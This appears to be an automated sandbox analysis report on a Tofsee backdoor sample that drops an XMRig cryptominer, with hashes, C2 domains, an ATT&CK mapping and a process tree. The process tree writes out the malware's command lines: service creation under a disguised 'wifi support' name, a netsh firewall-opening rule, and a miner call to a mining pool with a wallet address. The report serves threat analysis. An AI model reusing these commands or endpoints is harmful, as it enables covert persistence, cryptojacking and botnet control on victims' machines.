Analysis

  • max time kernel
    144s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-02-2023 21:29

General

  • Target

    file.exe

  • Size

    299KB

  • MD5

    8715223621d5976639b97a5ddc2e5709

  • SHA1

    ae98afdb97ae8ebb0fd47f899c94c6401a7f3a0d

  • SHA256

    d34c1b52c165505b7cd0130deead88ef3493c1dd118689d9300b6f8d3e496ee9

  • SHA512

    22e11a71707019233d98bb4c518decccf117059339c139ad7820aff31cbb690958ff434d53f9555e43b5714cdc1150ce01a92785df382cb9a307e7b82e7269f9

  • SSDEEP

    6144:C0UmLTex+0dLoQ7ioyeUB1XOuQj9i7xah:CzmvI+0dL1a/Oljw7x

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:372
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\glruuqsw\
      2⤵
        PID:2348
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\bvlcfdgp.exe" C:\Windows\SysWOW64\glruuqsw\
        2⤵
          PID:4088
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create glruuqsw binPath= "C:\Windows\SysWOW64\glruuqsw\bvlcfdgp.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2844
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description glruuqsw "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1692
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start glruuqsw
          2⤵
          • Launches sc.exe
          PID:4192
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1496
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 372 -s 1036
          2⤵
          • Program crash
          PID:4480
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 372 -ip 372
        1⤵
          PID:3472
        • C:\Windows\SysWOW64\glruuqsw\bvlcfdgp.exe
          C:\Windows\SysWOW64\glruuqsw\bvlcfdgp.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:1284
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:1384
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1104
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1284 -s 400
            2⤵
            • Program crash
            PID:3876
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 1284 -ip 1284
          1⤵
            PID:440

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\bvlcfdgp.exe
            Filesize

            13.3MB

            MD5

            ade3dc96e1dedee8b794f0ef24f0c7a6

            SHA1

            abb3751a0ee6ea12eefeaffc47782ec9279405c3

            SHA256

            3fe0b666473d577fd3f3da19a887f869fb70ab675a270d8147502bb95471a5c4

            SHA512

            716bc5597fdb83906c858abd63bd4fedada75e93c01e756c0ba32cc80c5b212b7ffdcde9a4c02e9e2f0e4f3c621612aa8a3268b3251f75299a88b0d6cf11d2f3

          • C:\Windows\SysWOW64\glruuqsw\bvlcfdgp.exe
            Filesize

            13.3MB

            MD5

            ade3dc96e1dedee8b794f0ef24f0c7a6

            SHA1

            abb3751a0ee6ea12eefeaffc47782ec9279405c3

            SHA256

            3fe0b666473d577fd3f3da19a887f869fb70ab675a270d8147502bb95471a5c4

            SHA512

            716bc5597fdb83906c858abd63bd4fedada75e93c01e756c0ba32cc80c5b212b7ffdcde9a4c02e9e2f0e4f3c621612aa8a3268b3251f75299a88b0d6cf11d2f3

          • memory/372-143-0x0000000000400000-0x00000000004C8000-memory.dmp
            Filesize

            800KB

          • memory/372-133-0x00000000007BE000-0x00000000007D3000-memory.dmp
            Filesize

            84KB

          • memory/372-134-0x0000000000760000-0x0000000000773000-memory.dmp
            Filesize

            76KB

          • memory/372-135-0x0000000000400000-0x00000000004C8000-memory.dmp
            Filesize

            800KB

          • memory/1104-176-0x0000000000C00000-0x0000000000CF1000-memory.dmp
            Filesize

            964KB

          • memory/1104-171-0x0000000000C00000-0x0000000000CF1000-memory.dmp
            Filesize

            964KB

          • memory/1104-170-0x0000000000000000-mapping.dmp
          • memory/1284-149-0x0000000000400000-0x00000000004C8000-memory.dmp
            Filesize

            800KB

          • memory/1284-147-0x0000000000649000-0x000000000065F000-memory.dmp
            Filesize

            88KB

          • memory/1384-152-0x0000000002000000-0x000000000220F000-memory.dmp
            Filesize

            2.1MB

          • memory/1384-167-0x0000000000850000-0x0000000000857000-memory.dmp
            Filesize

            28KB

          • memory/1384-145-0x0000000000410000-0x0000000000425000-memory.dmp
            Filesize

            84KB

          • memory/1384-150-0x0000000000410000-0x0000000000425000-memory.dmp
            Filesize

            84KB

          • memory/1384-151-0x0000000000410000-0x0000000000425000-memory.dmp
            Filesize

            84KB

          • memory/1384-144-0x0000000000000000-mapping.dmp
          • memory/1384-155-0x00000000005E0000-0x00000000005E6000-memory.dmp
            Filesize

            24KB

          • memory/1384-158-0x00000000005F0000-0x0000000000600000-memory.dmp
            Filesize

            64KB

          • memory/1384-161-0x0000000000840000-0x0000000000845000-memory.dmp
            Filesize

            20KB

          • memory/1384-164-0x0000000007000000-0x000000000740B000-memory.dmp
            Filesize

            4.0MB

          • memory/1496-141-0x0000000000000000-mapping.dmp
          • memory/1692-139-0x0000000000000000-mapping.dmp
          • memory/2348-132-0x0000000000000000-mapping.dmp
          • memory/2844-138-0x0000000000000000-mapping.dmp
          • memory/4088-136-0x0000000000000000-mapping.dmp
          • memory/4192-140-0x0000000000000000-mapping.dmp